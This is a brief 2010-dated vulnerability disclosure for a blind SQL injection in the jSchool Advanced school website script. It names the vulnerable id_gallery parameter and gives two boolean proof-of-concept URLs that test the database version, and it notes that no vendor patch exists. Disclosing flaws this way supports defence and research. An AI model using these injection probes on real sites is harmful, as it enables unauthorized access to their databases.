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jSchool Advanced (Blind SQL Injection) Vulnerability
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Author		: Don Tukulesto (root@indonesiancoder.com)
Site		: http://indonesiancoder.com
Vendor		: http://jogjacamp.com
Software		: jSchool Advanced (http://www.jogjacamp.com/script_4_Script_Website_Murah_Instant_Sekolah.html)
Price		: Rp. 1.200.000
GMT +07:00 November 21, 2010
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I.  Demo Site
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http://server/index.php?action=gallery.list&id_gallery=5

II. POC
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http://server/index.php?action=gallery.list&id_gallery=5 and substring(@@version,1,1)=5	# TRUE
http://server/index.php?action=gallery.list&id_gallery=5 and substring(@@version,1,1)=4	# FALSE

III. Vendor patch
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Currently manufacturers do not provide patches or upgrades.

IV. Credits
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Allahu Akbar
INDONESIAN CODER ~ Server is Down ~ MC Crew ~ Surabayahackerlink ~ AntiSecurity
M364TR0N ~ MISTER SAINT ~ Gonzhack ~ Cyb3r_Tr0n ~ kaMtiEz ~ ibl13z ~ N4ck0 ~ Huda ~ Xr0b0t
Yurakha ~ aN93l1c ~ Arianom ~Mboys ~ Contrex ~ Mboys ~ n4KuLa_ ~ m4ho666 ~ k4L0ng666 
kecemplungkalen ~ YaDoY666 ~ Jack- ~ xshadow ~ s4va ~ NoGe ~ kido ~ t3ll0 ~ cimpli